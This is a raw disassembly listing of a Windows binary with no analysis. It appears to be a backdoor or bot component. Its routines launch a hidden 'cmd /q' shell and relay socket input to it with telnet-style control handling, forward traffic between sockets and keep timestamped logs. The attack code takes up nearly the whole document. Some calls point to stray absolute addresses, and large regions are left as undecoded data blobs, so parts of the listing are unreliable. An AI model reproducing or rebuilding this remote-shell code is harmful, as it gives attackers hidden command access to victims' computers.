; ---------------------------------------------------------------------------


loc_40F6CA:				; CODE XREF: sub_40F63F+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_40F738
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40F72D
		push	offset unk_441798
		call	sub_410557


loc_40F6F8:				; CODE XREF: sub_40F63F+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40F704
		push	[ebp+var_4]
		call	edi


loc_40F704:				; CODE XREF: sub_40F63F+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_40F70F
		push	[ebp+var_8]
		call	edi


loc_40F70F:				; CODE XREF: sub_40F63F+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40F718
		push	eax
		call	edi


loc_40F718:				; CODE XREF: sub_40F63F+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40F722
		push	eax
		call	edi


loc_40F722:				; CODE XREF: sub_40F63F+DEj
		push	esi
		call	sub_415820
		pop	ecx


loc_40F729:				; CODE XREF: sub_40F63F+1Dj
		xor	eax, eax
		jmp	short loc_40F733
; ---------------------------------------------------------------------------


loc_40F72D:				; CODE XREF: sub_40F63F+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_40F733:				; CODE XREF: sub_40F63F+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F63F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F738	proc near		; CODE XREF: sub_40F63F+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417070
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417070
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4DD344
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 27309FCh
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 267039Fh
		test	eax, eax
		jz	short loc_40F7F4
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_446218[eax], ecx
		nop
		call	near ptr 267009Bh
		jmp	short loc_40F80A
; ---------------------------------------------------------------------------


loc_40F7F4:				; CODE XREF: sub_40F738+9Aj
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_4417C8
		call	sub_4105CB
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_40F80A:				; CODE XREF: sub_40F738+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F738	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F811	proc near		; DATA XREF: sub_40F4EE+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4DD338
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_40F83A:				; CODE XREF: sub_40F811+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_40F8A2
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_40F875


loc_40F84B:				; CODE XREF: sub_40F811+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_40F865
		cmp	dl, 0Dh
		jz	short loc_40F865
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_40F865:				; CODE XREF: sub_40F811+44j
					; sub_40F811+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_40F84B


loc_40F875:				; CODE XREF: sub_40F811+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_445398
		test	eax, eax
		jle	short loc_40F8A2
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_40F83A
; ---------------------------------------------------------------------------


loc_40F8A2:				; CODE XREF: sub_40F811+2Dj
					; sub_40F811+79j
		mov	esi, dword_4DD2D4
		call	esi
		cmp	eax, 6Dh
		jz	short loc_40F8BE
		call	esi
		push	eax
		push	offset dword_441800
		call	sub_4105CB
		pop	ecx
		pop	ecx


loc_40F8BE:				; CODE XREF: sub_40F811+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8C3	proc near		; DATA XREF: sub_40F4EE+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_40F8DC:				; CODE XREF: sub_40F8C3+39j
					; sub_40F8C3+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_445360
		test	eax, eax
		jle	loc_40F9E1
		cmp	[ebp+var_10], ebx
		jbe	short loc_40F8FE
		dec	[ebp+var_10]
		jmp	short loc_40F8DC
; ---------------------------------------------------------------------------


loc_40F8FE:				; CODE XREF: sub_40F8C3+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_40F9C1
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_40F96E
		cmp	al, 7Fh
		jz	short loc_40F96E
		cmp	al, 3
		jnz	short loc_40F929
		push	ebx
		push	ebx
		nop
		call	near ptr 27B0000h
		jmp	short loc_40F995
; ---------------------------------------------------------------------------


loc_40F929:				; CODE XREF: sub_40F8C3+5Aj
		cmp	al, 15h
		jnz	short loc_40F94B
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_40F981
; ---------------------------------------------------------------------------


loc_40F94B:				; CODE XREF: sub_40F8C3+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_40F982
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_40F981
; ---------------------------------------------------------------------------


loc_40F96E:				; CODE XREF: sub_40F8C3+52j
					; sub_40F8C3+56j
		cmp	esi, ebx
		jbe	short loc_40F998
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_40F981:				; CODE XREF: sub_40F8C3+86j
					; sub_40F8C3+A9j
		pop	ecx


loc_40F982:				; CODE XREF: sub_40F8C3+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_445398
		test	eax, eax
		jle	short loc_40F9E1


loc_40F995:				; CODE XREF: sub_40F8C3+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_40F998:				; CODE XREF: sub_40F8C3+ADj
		cmp	al, 0Dh
		jnz	loc_40F8DC
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_40F9E1
		xor	esi, esi
		jmp	loc_40F8DC
; ---------------------------------------------------------------------------


loc_40F9C1:				; CODE XREF: sub_40F8C3+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_40F9D2
		mov	[ebp+var_C], 1
		jmp	loc_40F8DC
; ---------------------------------------------------------------------------


loc_40F9D2:				; CODE XREF: sub_40F8C3+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_40F8DC
; ---------------------------------------------------------------------------


loc_40F9E1:				; CODE XREF: sub_40F8C3+2Bj
					; sub_40F8C3+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F8C3	endp

; ---------------------------------------------------------------------------
word_40F9E6	dw 8B55h		; DATA XREF: sub_403038+406Eo
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 7652E850h, 0C4830000h,	45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 445348h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 53C815FFh, 0F88B0044h, 69C4458Bh, 234C0h
		dd 0B8895300h, 44621Ch,	50EC458Dh, 7415FF57h, 85004453h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 445370h, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 2BF7E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 3C68FFFFh, 50004418h, 7737E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 1987E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 0A8AE8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4453DC15h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0D415FFE0h, 50004453h, 0FD2C858Dh, 6468FFFFh, 50004418h
		dd 76CBE8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF933Fh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 44621488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 0FBEB6850h, 56560040h
		dd 0DBDE890h, 4D8B0229h, 34C969C8h, 3B000002h, 248189C6h
		dd 74004462h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	280A34E8h
		dd 0EDEB9002h, 0D81E890h, 8D500228h, 0FFFD2C85h, 18A868FFh
		dd 0E8500044h, 7650h, 0E90CC483h, 0FFFFFF39h, 0E015FF57h
		dd 0FF004453h, 858DC075h, 0FFFFFD2Ch, 4418E468h, 2DE85000h
		dd 83000076h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF187Dh
		dd 8D14C483h, 0FFFD2C85h, 80E850FFh, 0FF000009h, 90E8C475h
		dd 59FFFF95h, 0E8905659h, 22F0418h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 44621Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 445330h, 1875C085h, 15FF36FFh, 4453E0h, 0E80875FFh
		dd 0FFFF950Bh, 0E8905359h, 22F0394h, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 44536015h,	7FC08500h, 0FF36FF18h
		dd 4453E015h, 875FF00h,	0FF94DAE8h, 905359FFh, 2F0363E8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 7BA4h, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 19186850h, 0E4E80044h, 68000008h, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 736AE85Dh, 0C4830000h, 30858D18h, 53FFFFFBh,	0FF50086Ah
		dd 9815FF36h, 0FF004453h, 0E015FF36h, 0FF004453h, 44E80875h
		dd 59FFFF94h, 0CDE89053h, 6A022F02h, 0E8458D10h, 31E85053h
		dd 66000073h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 0C815FFECh
		dd 8B004453h, 0FFFF83F8h, 15FF5D75h, 4452DCh, 19586850h
		dd 4CE80044h, 68000008h, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 72D2E85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 9815FF36h, 0FF004453h, 0E015FF36h
		dd 0FF004453h, 0ACE80875h, 59FFFF93h, 35E89053h, 8D022F02h
		dd 106AE845h, 15FF5750h, 4452F0h, 75FFF883h, 0DC15FF5Dh
		dd 50004452h, 44199868h, 7DDE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 7263E8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 539815FFh, 36FF0044h, 53E015FFh, 75FF0044h, 933DE808h
		dd 5359FFFFh, 1C6E890h,	68022Fh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	7217E8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	539815FFh
		dd 36FF0044h, 39E857h, 59590000h, 0E015FF57h, 0FF004453h
		dd 0E015FF36h, 0FF004453h, 0E0E80875h, 59FFFF92h, 69E89053h
		dd 0FF022F01h, 0E015FF36h, 0FF004453h, 0C8E80875h, 59FFFF92h
		dd 51E89053h
		db 1, 2Fh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_40FEC5:				; CODE XREF: ___:0040FF74j
					; ___:0040FFA4j
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_40FEDD:				; CODE XREF: ___:0040FEEBj
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_40FEED
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_40FEDD


loc_40FEED:				; CODE XREF: ___:0040FEE2j
		cmp	ecx, 1
		jnz	short loc_40FF02
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_40FF02:				; CODE XREF: ___:0040FEF0j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_445330
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_445234
		test	eax, eax
		jz	short loc_40FF62
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_445360
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FFAA
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FFAA


loc_40FF62:				; CODE XREF: ___:0040FF34j
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445234
		test	eax, eax
		jz	loc_40FEC5
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445360
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FFAA
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40FEC5


loc_40FFAA:				; CODE XREF: ___:0040FF49j
					; ___:0040FF60j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_40FFAF	db 55h			; DATA XREF: sub_403038+357Eo
					; sub_4097CE+107o
dword_40FFB0	dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 53C815FFh, 0F08B0044h
		dd 75FFFE83h, 1906871h,	0E8900000h, 2280595h, 52DC15FFh
		dd 8D500044h, 0FFF88885h, 19E468FFh, 0E8500044h, 71B4h
		dd 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0FEE8FFFFh
		dd 83FFFF13h, 858D14C4h, 0FFFFF888h, 501E850h, 0B5FF0000h
		dd 0FFFFFE98h, 0FF910EE8h, 535959FFh, 0FF96E890h, 458D022Eh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 2815FF56h, 8D004453h
		dd 46AEC45h, 57FB6A50h,	2815FF56h, 8B004453h, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 44621Ch, 50D4458Dh, 6FC3E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 534815FFh
		dd 89660044h, 458DD645h, 50106AD4h, 0D85D8956h,	537415FFh
		dd 0F8830044h, 681975FFh, 1388h, 4B3E890h, 8DFF0228h, 0FFFFFE9Ch
		dd 0E90875FFh, 35Fh, 0FC90858Dh, 1468FFFFh, 5000441Ah
		dd 6F4BE8h, 0C33B5900h,	0FC458959h, 90686475h, 0E8000001h
		dd 2280481h, 90858D90h,	50FFFFFCh, 0F888858Dh, 1868FFFFh
		dd 5000441Ah, 709FE8h, 858D5300h, 0FFFFF888h, 0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF12F4E8h
		dd 88858DFFh, 50FFFFF8h, 3FAE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9007h, 5328C483h, 0FE8EE890h, 7D8B022Eh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 6EBEE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 44533015h, 0FC08500h, 2398Eh
		dd 63C8A000h, 0CF8B004Dh, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 532015FFh, 75FF0044h
		dd 0F84589C8h, 53D415FFh, 8D500044h, 0E850B045h, 6FACh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 95E850FFh, 53000049h
		dd 0FC75FF53h, 9D1BE8h,	0FC75FF00h, 0FA8C858Dh,	9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 6ABBE8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4453AC15h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 441A3Ch, 6F16E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF1160E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 263h, 110E959h, 0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 9C0Ch, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 69CAE850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4453ACh, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 6068FFFFh, 5000441Ah, 6E1FE8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF1069h, 8D14C483h
		dd 0FFF88885h, 6CE850FFh, 0FF000001h, 4D5ADC05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 7868096Ah, 5600441Ah, 53AC15FFh
		dd 5D390044h, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4453E015h
		dd 0FC75FF00h, 483BE8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 30E8FFFFh, 59FFFF8Dh, 0FBBAE853h, 6890022Eh
		dd 3E8h, 147E890h, 0E8570228h, 0FFFFFB57h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41045F	proc near		; CODE XREF: sub_403038+54C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_445490
		mov	edi, 0B8h


loc_410473:				; CODE XREF: sub_41045F+33j
		cmp	byte ptr [esi],	0
		jz	short loc_410496
		push	[ebp+arg_0]
		push	esi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410496
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_446010
		jl	short loc_410473
		jmp	short loc_4104D8
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_41045F+17j
					; sub_41045F+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_445490[esi]
		push	ebx
		call	sub_417070
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_417770
		push	9Fh
		lea	eax, dword_4454A8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_417770
		add	esp, 24h
		inc	dword_437028
		pop	ebx


loc_4104D8:				; CODE XREF: sub_41045F+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_41045F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104DF	proc near		; CODE XREF: sub_403038+3D10p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_441A84
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_445490


loc_410509:				; CODE XREF: sub_4104DF+72j
		cmp	byte ptr [esi],	0
		jz	short loc_410544
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_441A98
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_4172D0
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 2Ch


loc_410544:				; CODE XREF: sub_4104DF+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_446010
		jl	short loc_410509
		pop	edi
		pop	esi
		leave
		retn
sub_4104DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410557	proc near		; CODE XREF: sub_40219C+320p
					; sub_402599+B0p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27B0186h
		nop
		mov	ebx, offset dword_4DA3CC
		mov	edi, 80h
		mov	esi, offset dword_4D63CC


loc_410579:				; CODE XREF: sub_410557+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_410590
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_410590:				; CODE XREF: sub_410557+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_410579
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_4172D0
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410557	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105CB	proc near		; CODE XREF: sub_402D58+F7p
					; sub_403038:loc_408249p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4170D0
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_410557
		add	esp, 14h
		leave
		retn
sub_4105CB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_410626
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_441AD0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_401445
		add	esp, 14h


loc_410626:				; CODE XREF: ___:0041060Dj
		cmp	[ebp+18h], ebx
		jz	short loc_41063E
		push	dword ptr [ebp+18h]
		call	sub_4174D0
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_41063E
		mov	[ebp-8], eax


loc_41063E:				; CODE XREF: ___:00410629j
					; ___:00410639j
		mov	[ebp+14h], ebx
